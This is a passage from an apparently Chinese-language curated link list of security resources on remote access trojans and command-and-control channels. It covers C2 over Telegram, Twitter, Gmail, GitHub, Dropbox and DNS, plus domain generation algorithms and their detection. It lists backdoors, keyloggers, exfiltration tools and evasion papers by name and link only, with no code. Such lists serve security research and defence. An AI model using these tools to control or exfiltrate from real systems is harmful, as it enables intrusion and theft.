RAT](https://www.forcepoint.com/blog/security-labs/nepalese-government-websites-compromised-serve-zegost-rat) - 2012.08 [sans] [Digital Forensics Case Leads: Multi-plat RAT, No US Cybersecurity bill, Dropbox drops a doozie, Volatility everywhere](https://digital-forensics.sans.org/blog/2012/08/03/digital-forensics-case-leads-multi-plat-rat-no-us-cybersecurity-bill-dropbox-drops-a-doozie-volatility-everywhere) - 2012.07 [freebuf] [远程控制工具—RAIORemote](http://www.freebuf.com/sectool/5032.html) - 2012.07 [freebuf] [用Nmap脚本检测Poison Ivy Rat控制端](http://www.freebuf.com/sectool/4940.html) - 2012.07 [freebuf] [[原创]PoisonIvy Rat 远程溢出实战](http://www.freebuf.com/articles/4921.html) - 2012.06 [alienvault] [Capfire4 malware, RAT software and C&C service together](https://www.alienvault.com/blogs/labs-research/capfire4-malware-rat-software-and-cc-service-together) - 2012.06 [malwarebytes] [RATs of Unusual Sizes](https://blog.malwarebytes.com/threat-analysis/2012/06/rats-of-unusual-sizes/) - 2012.05 [welivesecurity] [Malware RATs can steal your data and your money, your privacy too](https://www.welivesecurity.com/2012/05/23/malware-rats-can-steal-your-data-and-your-money-your-privacy-too/) - 2012.05 [freebuf] [开源linux远程控制工具 – n00bRAT](http://www.freebuf.com/sectool/687.html) - 2012.03 [alienvault] [MS Office exploit that targets MacOS X seen in the wild - delivers "Mac Control" RAT](https://www.alienvault.com/blogs/labs-research/ms-office-exploit-that-targets-macos-x-seen-in-the-wild-delivers-mac-contro) - 2012.03 [trustwave] [Dirty RAT Eats Nate's Banana](https://www.trustwave.com/Resources/SpiderLabs-Blog/Dirty-RAT-Eats-Nate-s-Banana/) - 2011.09 [securitythinkingcap] [RAT Hacking Evidence fresh from the source](https://securitythinkingcap.com/rat-hacking-evidence-fresh-from-the-source/) - 2011.09 [trendmicro] [Online Storage—A Godsend for Sentimental Pack Rats (like me)](http://blog.trendmicro.com/online-storage-a-godsend-for-sentimental-pack-rats-like-me/) - 2011.09 [hackerhurricane] [(W)(I) Your GM OnStar enabled car will rat you out starting Dec 2011](http://hackerhurricane.blogspot.com/2011/09/wi-your-gm-onstar-enabled-car-will-rat.html) - 2011.08 [microsoft] [Weekly Roundup : Aug 12, 2011 : Dissecting a Shady Rat](https://cloudblogs.microsoft.com/microsoftsecure/2011/08/12/weekly-roundup-aug-12-2011-dissecting-a-shady-rat/) - 2011.08 [microsoft] [Weekly Roundup : Aug 12, 2011 : Dissecting a Shady Rat](https://www.microsoft.com/security/blog/2011/08/12/weekly-roundup-aug-12-2011-dissecting-a-shady-rat/) - 2011.08 [bhconsulting] [Operation Shady RAT Claims Widespread Espionage](http://bhconsulting.ie/operation-shady-rat-claims-widespread-espionage/) - 2011.05 [krebsonsecurity] [Something Old is New Again: Mac RATs, CrimePacks, Sunspots & ZeuS Leaks](https://krebsonsecurity.com/2011/05/something-old-is-new-again-mac-rats-crimepacks-sunspots-zeus-leaks/) - 2011.05 [mcafee] [I Smell a RAT: Java Botnet Found in the Wild](https://securingtomorrow.mcafee.com/mcafee-labs/i-smell-a-rat-java-botnet-found-in-the-wild/) - 2011.04 [pediy] [[原创]解决远控重复上线的源码](https://bbs.pediy.com/thread-132080.htm) - 2011.01 [cleanbytes] [AdSocks RAT — about the new Java trojan computer viruses](http://cleanbytes.net/java-trojan-horses-the-new-trojan-viruses-generation) - 2010.10 [sans] [Cyber Security Awareness Month - Day 19 - Remote Access Tools](https://isc.sans.edu/forums/diary/Cyber+Security+Awareness+Month+Day+19+Remote+Access+Tools/9763/) - 2010.09 [pediy] [[翻译]Windows操作系统木马远程控制技术](https://bbs.pediy.com/thread-121388.htm) - 2010.09 [pediy] [[原创]利用qq2010聊天信息获取，打造自己的远程控制](https://bbs.pediy.com/thread-121037.htm) - 2008.09 [sans] [The Lab Rat - Testing Digital Forensics Tools and Gear](https://digital-forensics.sans.org/blog/2008/09/26/the-lab-rat-testing-digital-forensics-tools-and-gear) - 2008.01 [trendmicro] [Will 2008 Really Be The ‘Year of The Rat’?](https://blog.trendmicro.com/trendlabs-security-intelligence/will-2008-really-be-the-year-of-the-rat/) - 2006.11 [trendmicro] [TROJ_STRAT Spams Again](https://blog.trendmicro.com/trendlabs-security-intelligence/troj-strat-spams-again/) - 2005.06 [infosecblog] [Rats!](https://www.infosecblog.org/2005/06/rats/) # <a id="e80bdc9447f3cdc9416282b598b14cf7"></a>利用公开服务 *** ## <a id="17b978a5c371699ccd9a5687ae3f3949"></a>Telegram ### <a id="492b34c27ab06b3696c0464465b74eec"></a>工具 - [**648**星][1y] [Py] [mehulj94/braindamage](https://github.com/mehulj94/braindamage) 使用Telegram做C&C服务器的远控 - [**330**星][8m] [Py] [mvrozanti/rat-via-telegram](https://github.com/mvrozanti/rat-via-telegram) Windows Remote Administration Tool via Telegram - [**160**星][4y] [Py] [blazeinfosec/bt2](https://github.com/blazeinfosec/bt2) 使用Telegram 基础设施做C&C 服务器 ### <a id="06365f440cb6fa3e0daf933cb0874c8b"></a>文章 - 2018.06 [hispasec] [HeroRat, otro RAT para Android que utiliza Telegram como C&C](https://unaaldia.hispasec.com/2018/06/herorat-otro-rat-para-android-que.html) - 2016.05 [360] [将Telegram打造成C&C平台](https://www.anquanke.com/post/id/83949/) *** ## <a id="a6303482a58e0d14bb8ce1849817ab5a"></a>Twitter ### <a id="ae91172321950c1296375e9c9059d773"></a>工具 - [**658**星][4y] [Py] [paulsec/twittor](https://github.com/paulsec/twittor) A fully featured backdoor that uses Twitter as a C&C server - [**186**星][3y] [Go] [petercunha/goat](https://github.com/petercunha/goat) a trojan created in Go, using Twitter as a the C&C server ### <a id="f6f5e4da48152e5b0bc45608a3f9a656"></a>文章 - 2017.10 [freebuf] [如何使用Twitter构建C&C服务器](http://www.freebuf.com/sectool/149381.html) - 2017.09 [pentestlab] [Command and Control – Twitter](https://pentestlab.blog/2017/09/26/command-and-control-twitter/) - 2016.08 [welivesecurity] [First Twitter-controlled Android botnet discovered](https://www.welivesecurity.com/2016/08/24/first-twitter-controlled-android-botnet-discovered/) - 2015.12 [] [俄罗斯黑客是如何滥用twitter作为Hammertoss C&C服务器的？](http://www.91ri.org/14743.html) - 2015.10 [freebuf] [当Twitter成为一个功能齐全的后门C&C服务器](http://www.freebuf.com/news/81914.html) - 2012.03 [sans] [Flashback Malware now with Twitter C&C](https://isc.sans.edu/forums/diary/Flashback+Malware+now+with+Twitter+CC/12709/) *** ## <a id="d2041a55efcfc29ca6a257916255b43b"></a>GMail ### <a id="be2346c808f9813f13da3526576e1839"></a>工具 - [**1117**星][1y] [Py] [byt3bl33d3r/gcat](https://github.com/byt3bl33d3r/gcat) A PoC backdoor that uses Gmail as a C&C server - [**353**星][3y] [Py] [maldevel/gdog](https://github.com/maldevel/gdog) Python 编写的后门，使用 Gmail 做 C&C - [**22**星][1y] [Py] [pure-l0g1c/keylogger](https://github.com/pure-l0g1c/keylogger) A simple keylogger that uses Gmail as a C&C ### <a id="4b9fa06652be565e5e53db0b094bfb80"></a>文章 - 2017.08 [securityriskadvisors] [The Macro Evolution: Bypassing Gmail’s Virus Filter and Reliably Establishing C2 Channels with Office Macros](http://securityriskadvisors.com/blog/post/the-macro-evolution-bypassing-gmail-s-virus-filter-and-reliably-establishing-c2-channels-with-office-macros/) - 2017.08 [securityriskadvisors] [The Macro Evolution: Bypassing Gmail’s Virus Filter and Reliably Establishing C2 Channels with Office Macros](http://securityriskadvisors.com/blog/the-macro-evolution-bypassing-gmails-virus-filter-and-reliably-establishing-c2-channels-with-office-macros/) - 2017.08 [pentestlab] [Command and Control – Gmail](https://pentestlab.blog/2017/08/03/command-and-control-gmail/) - 2016.05 [n0where] [Python Based Windows Backdoor with Gmail C&C: gDog](https://n0where.net/python-based-windows-backdoor-gmail-cc-gdog) - 2015.07 [blackhillsinfosec] [Command & Control via Gmail](https://www.blackhillsinfosec.com/command-control-via-gmail/) - 2015.06 [freebuf] [巧用Gmail做你的C&C服务器](http://www.freebuf.com/sectool/71246.html) - 2014.10 [virusbulletin] [New IcoScript variant uses Gmail drafts for C&C communication](https://www.virusbulletin.com/blog/2014/10/new-icoscript-variant-uses-gmail-drafts-c-amp-c-communication/) - 2014.07 [byt3bl33d3r] [Pyexfil - Using Python to make Gmail a C&C server](https://byt3bl33d3r.github.io/pyexfil-using-python-to-make-gmail-a-cc-server.html) *** ## <a id="b37bc6073be9a78ed6dbd0d21251fc63"></a>Github ### <a id="842ef8261474bd529ac72c43dcf9c1fa"></a>工具 - [**179**星][3y] [Py] [maldevel/canisrufus](https://github.com/maldevel/canisrufus) Python 编写的后门，使用 Github 做 C&C ### <a id="d46b05d91c64bed9533dd00ba8eac513"></a>文章 - 2018.06 [freebuf] [针对使用Github作为C&C服务的JavaScript后门分析](http://www.freebuf.com/articles/system/173901.html) - 2018.06 [360] [使用 Github 作为 C&C 服务的 JavaScript 后门分析](https://www.anquanke.com/post/id/147103/) - 2017.08 [securityblog] [A stealthy Python based Windows backdoor that uses Github as a C&C server](http://securityblog.gr/4434/a-stealthy-python-based-windows-backdoor-that-uses-github-as-a-cc-server/) - 2017.03 [trendmicro] [使用Github做C&C服务器](https://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/) - 2016.09 [openanalysis] [The case of getlook23: Using GitHub Issues as a C2](https://oalabs.openanalysis.net/2016/09/18/the-case-of-getlook23-using-github-issues-as-a-c2/) *** ## <a id="618ec29a95a1f90a2696490d1f1afb2f"></a>DropBox ### <a id="a6091cce89af46f8e9deb0efe0a378cc"></a>工具 - [**134**星][1y] [Py] [0x09al/dropboxc2c](https://github.com/0x09al/dropboxc2c) DropboxC2C is a post-exploitation agent which uses Dropbox Infrastructure for command and control operations. ### <a id="59b97649c4ed0a852859d07d2e640c45"></a>文章 - 2019.04 [hackingarticles] [Command and Control with DropboxC2](https://www.hackingarticles.in/command-and-control-with-dropboxc2/) - 2017.09 [freebuf] [使用DropBox功能将其作为C&C服务器](http://www.freebuf.com/sectool/146116.html) - 2017.08 [pentestlab] [Command and Control – DropBox](https://pentestlab.blog/2017/08/29/command-and-control-dropbox/) *** ## <a id="2b58c60ed7c7920f03979756f6f72fcc"></a>区块链 ### <a id="920d0c6167385c71e171ccbe71397f7a"></a>工具 - [**46**星][1y] [Go] [xpn/blockchainc2](https://github.com/xpn/blockchainc2) A POC C2 server and agent to explore just if/how the Ethereum blockchain can be used for C2 - [**35**星][3m] [Py] [geek-repo/c2-blockchain](https://github.com/geek-repo/c2-blockchain) This is a concept poc of command and control server implemented over blockchain ### <a id="3d26ec5c4c50edaaf343903e5fb182c2"></a>文章 - 2019.12 [freebuf] [分析隐藏在比特币区块链中的Pony C&C服务器](https://www.freebuf.com/articles/blockchain-articles/221822.html) *** ## <a id="1e53961ca8fc592a588e18a5f1519078"></a>其他 ### <a id="77cdae7f8911e93ff055f270ef9bf562"></a>工具 - [**513**星][1y] [Go] [mthbernardes/gtrs](https://github.com/mthbernardes/gtrs) 使用Google翻译器作为代理将任意命令发送到受感染的计算机 - [**102**星][4m] [Py] [nccgroup/gitpwnd](https://github.com/nccgroup/gitpwnd) 网络渗透测试工具，可使攻击者向被攻击机器发送命令，并使用 git repo 作为 C&C 传输层接收结果 - [**97**星][2y] [Py] [arno0x/webdavc2](https://github.com/arno0x/webdavc2) A WebDAV PROPFIND C2 tool - [**93**星][2y] [PS] [bkup/slackshell](https://github.com/bkup/slackshell) PowerShell to Slack C2 - [**84**星][2y] [Go] [0x09al/browser-c2](https://github.com/0x09al/browser-c2) Post Exploitation agent which uses a browser to do C2 operations. - [**69**星][13d] [Py] [itskindred/redviper](https://github.com/itskindred/redviper) redViper is a proof of concept Command & Control framework that utilizes Reddit for communications. - [**66**星][2y] [Py] [lukebaggett/google_socks](https://github.com/lukebaggett/google_socks) A proof of concept demonstrating the use of Google Drive for command and control. - [**29**星][2y] [Py] [ajinabraham/xenotix-xbot](https://github.com/ajinabraham/xenotix-xbot) Xenotix xBOT is a Cross Platform PoC Bot that abuse certain Google Services to implement it's C&C - [**26**星][3y] [Py] [dsnezhkov/octohook](https://github.com/dsnezhkov/octohook) Git Web Hook Tunnel for C2 - [**23**星][10d] [PS] [netspi/sqlc2](https://github.com/netspi/sqlc2) SQLC2 is a PowerShell script for deploying and managing a command and control system that uses SQL Server as both the control server and the agent. - [**22**星][2y] [Py] [woj-ciech/social-media-c2](https://github.com/woj-ciech/social-media-c2) Script is a proof of concept how to control your machine by using social media sites. - [**16**星][10d] [Py] [securemode/trelloc2](https://github.com/securemode/trelloc2) Simple C2 over the Trello API - [**14**星][1y] [Py] [j3ssie/c2s](https://github.com/j3ssie/c2s) Command and Control server on Slack - [**8**星][2y] [Py] [maldevel/dicerosbicornis](https://github.com/maldevel/dicerosbicornis) A fully featured Windows backdoor that uses email as a C&C server - [**7**星][3y] [Py] [killswitch-gui/flask_appengine_redirector](https://github.com/killswitch-gui/flask_appengine_redirector) Google App Engine Flask C2 redirector ### <a id="8842ea68ff727ac4d5d970405f152161"></a>文章 - 2019.01 [paloaltonetworks] [DarkHydrus delivers new Trojan that can use Google Drive for C2 commu](https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/) - 2017.01 [forcepoint] [Carbanak Group uses Google for malware command-and-control](https://www.forcepoint.com/blog/security-labs/carbanak-group-uses-google-malware-command-and-control) - 2016.08 [blackhillsinfosec] [Google Docs becomes Google SOCKS: C2 Over Google Drive](https://www.blackhillsinfosec.com/google-docs-becomes-google-socks-c2-over-google-drive/) - 2014.08 [paloaltonetworks] [Pivot on Google Code C2 Reveals Additiona](https://unit42.paloaltonetworks.com/pivot-google-code-c2-reveals-additional-malware/) - 2013.04 [rsa] [Zeus C&C Server Poses as Google to Evade Detection](https://community.rsa.com/community/products/netwitness/blog/2013/04/17/zeus-cc-server-poses-as-google-to-evade-detection) # <a id="9f6f77f1fcf614c9738dfeac9cc5d1d3"></a>通信协议 *** ## <a id="7485e724ef5efd1daf9d672bd72fb595"></a>DNS协议 ### <a id="41df71c75c08038e17e5526fe0afceb5"></a>Domain Generation Algorithm(DGA) #### <a id="a2e73ce71da73fb1b4ab8cb52449d839"></a>工具 - [**318**星][1m] [Py] [baderj/domain_generation_algorithms](https://github.com/baderj/domain_generation_algorithms) 域名生成算法 - [**220**星][17d] [Scala] [sotera/spark-distributed-louvain-modularity](https://github.com/sotera/spark-distributed-louvain-modularity) Spark / graphX implementation of the distributed louvain modularity algorithm - [**209**星][3y] [Py] [endgameinc/dga_predict](https://github.com/endgameinc/dga_predict) Predicting Domain Generation Algorithms using LSTMs - [**132**星][2m] [Py] [andrewaeva/dga](https://github.com/andrewaeva/dga) The repository that contains the algorithms for generating domain names, dictionaries of malicious domain names. Developed to research the possibility of applying machine learning and neural networks to detect and classify malicious domains. - [**117**星][6m] [Py] [360netlab/dga](https://github.com/360netlab/dga) Suspicious DGA from PDNS and Sandbox. - [**49**星][2y] [java] [toufikairane/andromalware](https://github.com/tfairane/andromalware) Android Malware for educational purpose - [**40**星][4y] [Py] [pchaigno/dga-collection](https://github.com/pchaigno/dga-collection) A collection of known Domain Generation Algorithms - [**31**星][4y] [Py] [endgameinc/sans_thir16](https://github.com/endgameinc/sans_thir16) SANS Hunting on the Cheap - [**31**星][3y] [Py] [staaldraad/fastfluxanalysis](https://github.com/staaldraad/fastfluxanalysis) Scripts to detect Fast-Flux and DGA using DNS query responses - [**28**星][2y] [Py] [philarkwright/dga-detection](https://github.com/philarkwright/dga-detection) DGA Domain Detection using Bigram Frequency Analysis - [**13**星][3y] [Py] [cisco-talos/goznym](https://github.com/Cisco-Talos/goznym) - [**6**星][1y] [Py] [matthoffman/degas](https://github.com/matthoffman/degas) DGA-generated domain detection using deep learning models - [**4**星][3m] [PHP] [navytitanium/eitest-tools-scripts-iocs](https://github.com/navytitanium/eitest-tools-scripts-iocs) - [**1**星][2m] [Py] [bkcs-hust/lstm-mi](https://github.com/bkcs-hust/lstm-mi) A LSTM based framework for handling multiclass imbalance in DGA botnet detection #### <a id="7c21e329221f50f2b9c1918ab01c26fd"></a>文章 - 2019.10 [Cooper] [DGA-Detect: Using Machine Learning For Collaborative DGA Detection - Tammo Krueger](https://www.youtube.com/watch?v=p17EZa-CTZ0) - 2019.07 [covert] [Auxiliary Loss Optimization for Hypothesis Augmentation for DGA Domain Detection](http://www.covert.io/auxiliary-loss-optimization-for-hypothesis-augmentation-for-dga-domain-detection/) - 2019.07 [covert] [Getting started with DGA Domain Detection Research](http://www.covert.io/getting-started-with-dga-research/) - 2019.05 [arxiv] [[1905.01078] CharBot: A Simple and Effective Method for Evading DGA Classifiers](https://arxiv.org/abs/1905.01078) - 2019.02 [arxiv] [[1902.08909] MaskDGA: A Black-box Evasion Technique Against DGA Classifiers and Adversarial Defenses](https://arxiv.org/abs/1902.08909) - 2018.12 [hitbsecconf] [#HITB2018DXB: Enhancing DL DGA Detection Models Using Separate Character Embedding - Vikash Yadav](https://www.youtube.com/watch?v=jm7wH2G0h6c) - 2018.12 [KacperSzurek] [[PODCAST] Jak działają dynamicznie generowane domeny - DGA?](https://www.youtube.com/watch?v=2iDwVGaxvEA) - 2018.12 [cmu] [DGA Domains with SSL Certificates? Why?](https://insights.sei.cmu.edu/cert/2018/12/dga-domains-with-ssl-certificates-but-why.html) - 2018.11 [arxiv] [[1811.08705] Inline Detection of Domain Generation Algorithms with Context-Sensitive Word Embeddings](https://arxiv.org/abs/1811.08705) - 2018.10 [arxiv] [[1810.02023] Detecting DGA domains with recurrent neural networks and side information](https://arxiv.org/abs/1810.02023) - 2018.01 [akamai] [域名生成算法(DGA)详解: 是什么、为何存在、使用示例、如何检测及阻止](https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html) - 2017.11 [OALabs] [Reverse Engineering a DGA (Domain Generation Algorithm)](https://www.youtube.com/watch?v=wX1ZGt_dWdI) - 2017.08 [cyber] [自动恶意软件分析之 DGA 分类和检测。（DGA：Domain Generation Algorithms，域名生成算法）](https://cyber.wtf/2017/08/30/dga-classification-and-detection-for-automated-malware-analysis/) - 2017.05 [akamai] [DNS 域名生成算法解析，包括：何时出现，恶意代码如何使用，防御者面临的挑战，如何使用机器学习和行为算法进行反击。](https://blogs.akamai.com/2017/05/spotlight-on-malware-dga-communication-technique.html) - 2017.05 [akamai] [What Are Domain Generation Algorithms (DGAs) And Why You Should Care?](https://blogs.akamai.com/2017/05/what-are-domain-generation-algorithms-dgas-and-why-you-should-care.html) - 2017.02 [rsa] [DGA Detection](https://community.rsa.com/community/products/netwitness/blog/2017/02/01/dga-detection) - 2016.12 [govcert] [Tofsee Spambot features .ch DGA - Reversal and Countermesaures](https://www.govcert.admin.ch/blog/26/tofsee-spambot-features-.ch-dga-reversal-and-countermesaures) - 2016.12 [govcert] [Tofsee Spambot features .ch DGA - Reversal and Countermesaures](https://www.govcert.ch/blog/26/tofsee-spambot-features-.ch-dga-reversal-and-countermesaures) - 2016.12 [360] [New Mirai DGA Seed 0x91 Brute Forced](http://blog.netlab.360.com/new-mirai-dga-seed-0x91-brute-forced/) - 2016.12 [360] [Now Mirai Has DGA Feature Built in](http://blog.netlab.360.com/new-mirai-variant-with-dga/) - 2016.12 [sans] [Mirai - now with DGA](https://isc.sans.edu/forums/diary/Mirai+now+with+DGA/21799/) - 2016.11 [fidelissecurity] [Vawtrak DGA Round 2](https://www.fidelissecurity.com/threatgeek/2016/11/vawtrak-dga-round-2) - 2016.11 [endgame] [Endgame Research @ AISec: Deep DGA](https://www.endgame.com/blog/technical-blog/endgame-research-aisec-deep-dga) - 2016.11 [arxiv] [[1611.00791] Predicting Domain Generation Algorithms with Long Short-Term Memory Networks](https://arxiv.org/abs/1611.00791) - 2016.05 [cybereason] [Dissecting Domain Generation Algorithms](https://www.cybereason.com/blog/cybereason-labs-dissecting-domain-generation-algorithms) - 2016.02 [forcepoint] [Locky's New DGA - Seeding the New Domains [RUSSIA UPDATE: 26/FEB/16]](https://www.forcepoint.com/blog/security-labs/lockys-new-dga-seeding-new-domains-russia-update-26feb16) - 2015.10 [cert] [How non-existent domain names can unveil DGA botnets](https://www.cert.pl/en/news/single/lang_pljak-nieistniejace-nazwy-domenowe-moga-pomoc-w-wykryciu-botnetow-dgalang_pllang_enhow-non-existent-domain-names-can-unveil-dga-botnets-lang_en/) - 2015.07 [cybereason] [Detecting the Unknown: Protecting Against DGA-Based Malware](https://www.cybereason.com/blog/detecting-the-unknown-protecting-against-dga-based-malware) - 2015.07 [sans] [Detecting Random - Finding Algorithmically chosen DNS names (DGA)](https://isc.sans.edu/forums/diary/Detecting+Random+Finding+Algorithmically+chosen+DNS+names+DGA/19893/) - 2015.07 [cybereason] [The FBI vs. GameOver Zeus: Why The DGA-Based Botnet Wins](https://www.cybereason.com/blog/the-fbi-vs-gameover-zeus-why-the-dga-based-botnet-wins) - 2015.05 [cert] [DGA botnet domains: malicious usage of pseudo random domains](https://www.cert.pl/en/news/single/dga-botnet-domains-malicious-usage-of-pseudo-random-domains/) - 2015.04 [cert] [DGA botnet domains: on false alarms in detection](https://www.cert.pl/en/news/single/dga-botnet-domains-false-alarms-in-detection/) - 2015.03 [securelist] [Sinkholing Volatile Cedar DGA Infrastructure](https://securelist.com/sinkholing-volatile-cedar-dga-infrastructure/69421/) - 2015.03 [talosintelligence] [Threat Spotlight: Dyre/Dyreza: An Analysis to Discover the DGA](https://blog.talosintelligence.com/2015/03/threat-spotlight-dyredyreza-analysis-to.html) - 2014.11 [tetrane] [Meet us at "Forum Innovation DGA 2014"](http://blog.tetrane.com/2014/11/meet-us-at-forum-innovation-dga-2014.html) - 2014.10 [f5] [Tinba Malware: Domain Generation Algorithm Means New, Improved, and Persistent](https://f5.com/labs/articles/threat-intelligence/malware/tinba-malware-domain-generation-algorithm-means-new-improved-and-persistent-22440) - 2014.08 [trendmicro] [Gameover Increases Use of Domain Generation Algorithms](https://blog.trendmicro.com/trendlabs-security-intelligence/gameover-increases-use-of-domain-generation-algorithms/) - 2014.06 [bruteforcelab] [Shadowserver Gameover Zeus DGA HTTP](https://bruteforcelab.com/shadowserver-gameover-zeus-dga-http.html) - 2014.03 [talosintelligence] [Decoding Domain Generation Algorithms (DGAs) Part III - ZeusBot DGA Reproduction](https://blog.talosintelligence.com/2014/03/decoding-domain-generation-algorithms.html) - 2014.02 [talosintelligence] [Decoding Domain Generation Algorithms (DGAs) Part II - Catching ZeusBot Injection into Explorer.exe](https://blog.talosintelligence.com/2014/02/decoding-domain-generation-algorithms_20.html) - 2014.02 [talosintelligence] [Decoding Domain Generation Algorithms (DGAs) - Part I](https://blog.talosintelligence.com/2014/02/decoding-domain-generation-algorithms.html) - 2012.01 [cert] [ZeuS – P2P+DGA variant – mapping out and understanding the threat](https://www.cert.pl/en/news/single/zeus-p2pdga-variant-mapping-out-and-understanding-the-threat/) ### <a id="d70a62f77fa20a2219e81fa61527e644"></a>工具 - [**1855**星][8m] [C++] [iagox86/dnscat2](https://github.com/iagox86/dnscat2) 在 DNS 协议上创建加密的 C&C channel - [**832**星][6d] [Go] [bishopfox/sliver](https://github.com/bishopfox/sliver) 一个通用的跨平台植入程序框架，该框架C3支持Mutual-TLS，HTTP（S）和DNS - [**386**星][4y] [Py] [ahhh/reverse_dns_shell](https://github.com/ahhh/reverse_dns_shell) 使用DNS作为c2通道的python反向shell - [**277**星][1y] [Py] [trycatchhcf/packetwhisper](https://github.com/trycatchhcf/packetwhisper) Stealthily exfiltrate data and defeat attribution using DNS queries and text-based steganography. Avoid the problems associated with typical DNS exfiltration methods. Transfer data between systems without the communicating devices directly connecting to each other or to a common endpoint. No need to control a DNS Name Server. - [**276**星][4m] [Go] [sensepost/godoh](https://github.com/sensepost/godoh) A DNS-over-HTTPS Command & Control Proof of Concept - [**225**星][2y] [PS] [lukebaggett/dnscat2-powershell](https://github.com/lukebaggett/dnscat2-powershell) A Powershell client for dnscat2, an encrypted DNS command and control tool. - [**176**星][2y] [C++] [0x09al/dns-persist](https://github.com/0x09al/dns-persist) DNS-Persist is a post-exploitation agent which uses DNS for command and control. - [**41**星][2m] [Erlang] [homas/ioc2rpz](https://github.com/homas/ioc2rpz) ioc2rpz is a place where threat intelligence meets DNS. - [**38**星][2m] [JS] [inquest/threatkb](https://github.com/inquest/threatkb) Knowledge base workflow management for YARA rules and C2 artifacts (IP, DNS, SSL) (ALPHA STATE AT THE MOMENT) ### <a id="fa377fafdbd3ef80574411ef3a54c693"></a>文章 - 2019.10 [freebuf] [goDoH：一款使用了DNS-over-HTTPS作为传输端口的C2框架](https://www.freebuf.com/articles/network/214268.html) - 2019.08 [trustfoundry] [Using Iodine for DNS Tunneling C2 to Bypass Egress Filtering](https://trustfoundry.net/using-iodine-for-dns-tunneling-c2-to-bypass-egress-filtering/) - 2019.07 [freebuf] [利用DNS隧道构建隐蔽C&C信道](https://www.freebuf.com/articles/network/208242.html) - 2019.04 [4hou] [DNScat2工具:通过DNS进行C&C通信](https://www.4hou.com/tools/17226.html) - 2019.04 [hackingarticles] [dnscat2: Command and Control over the DNS](https://www.hackingarticles.in/dnscat2-command-and-control-over-the-dns/) - 2018.10 [aliyun] [使用DNS over HTTPS（DoH）构建弹性C2基础架构](https://xz.aliyun.com/t/3068) - 2017.09 [pentestlab] [Command and Control – DNS](https://pentestlab.blog/2017/09/06/command-and-control-dns/) - 2017.04 [securelist] [Use of DNS Tunneling for C&C Communications](https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/) - 2017.01 [blackhillsinfosec] [PowerShell DNS Command & Control with dnscat2-powershell](https://www.blackhillsinfosec.com/powershell-dns-command-control-with-dnscat2-powershell/) - 2016.10 [deepsec] [DeepSec2016 Talk: Behavioral Analysis from DNS and Network Traffic – Josh Pyorre](http://blog.deepsec.net/deepsec2016-talk-behavioral-analysis-dns-network-traffic-josh-pyorre/) - 2016.07 [sans] [Command and Control Channels Using "AAAA" DNS Records](https://isc.sans.edu/forums/diary/Command+and+Control+Channels+Using+AAAA+DNS+Records/21301/) - 2016.06 [freebuf] [技术报告：APT组织Wekby利用DNS请求作为C&C设施，攻击美国秘密机构](http://www.freebuf.com/articles/network/107914.html) - 2016.05 [paloaltonetworks] [New Wekby Attacks Use DNS Requests As Command and Control](https://unit42.paloaltonetworks.com/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/) - 2015.07 [n0where] [Tunneling C&C Over DNS: dnscat2](https://n0where.net/tunneling-cc-over-dns-dnscat2) - 2014.04 [sans] [Be on the Lookout: Odd DNS Traffic, Possible C&C Traffic](https://isc.sans.edu/forums/diary/Be+on+the+Lookout+Odd+DNS+Traffic+Possible+CC+Traffic/18047/) - 2013.07 [rsa] [Zeus Command and Controls Hiding in DNS TXT Record Responses](https://community.rsa.com/community/products/netwitness/blog/2013/07/02/zeus-command-and-controls-hiding-in-dns-txt-record-responses) - 2011.11 [sans] [Digital Forensics Case Leads: PFIC 2011 Report, DNS forensics, Massive Flaws in Amazon EC2?](https://digital-forensics.sans.org/blog/2011/11/11/digital-forensics-case-leads-pfic-2011-report-dns-forensics-massive-flaws-in-amazon-ec2) - 2011.08 [christian] [Report - Paper 'On Botnets that use DNS for Command and Control' accepted at EC2ND 2011](https://christian-rossow.de/articles/Botnets_Using_DNS_based_Command_and_Control_Channels.php) *** ## <a id="867ed7efa4643442ef6859571db8a587"></a>ICMP ### <a id="aa2a205557d269a563191e7fc7f7eb0a"></a>文章 - 2019.07 [hackingarticles] [Command and Control & Tunnelling via ICMP](https://www.hackingarticles.in/command-and-control-tunnelling-via-icmp/) - 2019.04 [ghostlulzhacks] [C2 — ICMP Backdoor](https://medium.com/p/fb4842019806) - 2018.11 [blackhillsinfosec] [How To: C2 Over ICMP](https://www.blackhillsinfosec.com/how-to-c2-over-icmp/) - 2017.07 [pentestlab] [使用 ICMP 协议实现C&C](https://pentestlab.blog/2017/07/28/command-and-control-icmp/) - 2017.03 [blackhillsinfosec] [Bypassing Cylance: Part 3 – Netcat & Nishang ICMP C2 Channel](https://www.blackhillsinfosec.com/bypassing-cylance-part-3-netcat-nishang-icmp-c2-channel/) *** ## <a id="fe3abb0c040999744a648ed68780835c"></a>WebSocket ### <a id="097f22edaf98529c95353d8edef562b7"></a>工具 - [**245**星][2y] [Py] [arno0x/wsc2](https://github.com/arno0x/wsc2) A WebSocket C2 Tool - [**131**星][9d] [C++] [xorrior/raven](https://github.com/xorrior/raven) CobaltStrike External C2 for Websockets ### <a id="f2f397345d35d2cc574a4689ad4c8293"></a>文章 - 2019.04 [hackingarticles] [Command & Control: WebSocket C2](https://www.hackingarticles.in/command-control-websocketc2/) - 2018.07 [blackhillsinfosec] [Command and Control with WebSockets WSC2](https://www.blackhillsinfosec.com/command-and-control-with-websockets-wsc2/) - 2017.12 [pentestlab] [Command and Control – WebSocket](https://pentestlab.blog/2017/12/06/command-and-control-websocket/) - 2017.12 [n0where] [WebSocket C2 Communication Channel: WSC2](https://n0where.net/websocket-c2-communication-channel-wsc2) - 2017.11 [arno0x0x] [Using WebSockets and IE/Edge for C2 communications](https://arno0x0x.wordpress.com/2017/11/10/using-websockets-and-ie-edge-for-c2-communications/) # <a id="1c28538afe533f545b540cbd78637241"></a>C&C *** ## <a id="e8d16b3301a2ab9109b503b89ec6eece"></a>Cobalt Strike ### <a id="f587c1f0baaf7aa1d9e9c5fe533c7a6d"></a>工具 - [**462**星][2y] [rsmudge/malleable-c2-profiles](https://github.com/rsmudge/malleable-c2-profiles) Malleable C2 is a domain specific language to redefine indicators in Beacon's communication. This repository is a collection of Malleable C2 profiles that you may use. These profiles work with Cobalt Strike 3.x. - [**217**星][2y] [Py] 